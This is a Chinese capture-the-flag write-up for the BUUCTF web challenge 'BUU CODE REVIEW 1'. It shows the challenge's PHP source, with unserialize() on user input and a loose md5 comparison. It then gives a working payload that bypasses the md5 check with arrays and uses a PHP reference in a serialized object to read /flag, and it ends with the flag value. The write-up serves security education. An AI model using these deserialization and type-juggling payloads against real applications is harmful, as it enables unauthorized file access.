BUUCTF-WEB BUU CODE REVIEW 1 WP

考点:绕过md5加密和反序列化

打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/10/6
* Time: 8:04 PM
*/

highlight_file(__FILE__);

class BUU {
public $correct = "";
public $input = "";

public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}

if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}

分析

一道反序列化题,分析代码后,要拿到flag,必须要达到下面几个条件。

$_GET['pleaseget']===1

$_POST['pleasepost']===2 md5($_POST['md51'])==md5($_POST['md52'])&&$_POST['md51']!=$_POST['md52']

$this->correct === $this->input

第一个和第二个条件很简单不用说,只需要提交对应的参数和参数值即可。

第三个条件,可以用数组绕过MD5加密,数组进行MD5加密会返回false。

构造md51[]=1&md52[]=2 即可绕过

这才来到最关键的地方,如何在序列化前让$this->correct === $this->input 呢?,我们创建BUU类后,重新给$this->correct 赋值成 $this->input的值。

1
2
3
$b1 = new BUU();
$b1->correct=&$b1->input;
print_r(serialize($b1));
1
O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;} # 得到序列化后的内容

提交

get

1
?pleaseget=1

post

1
pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}

拿到flag

1
flag{0f14da5c-5e42-49c2-b2e3-5ee2f9f1e285}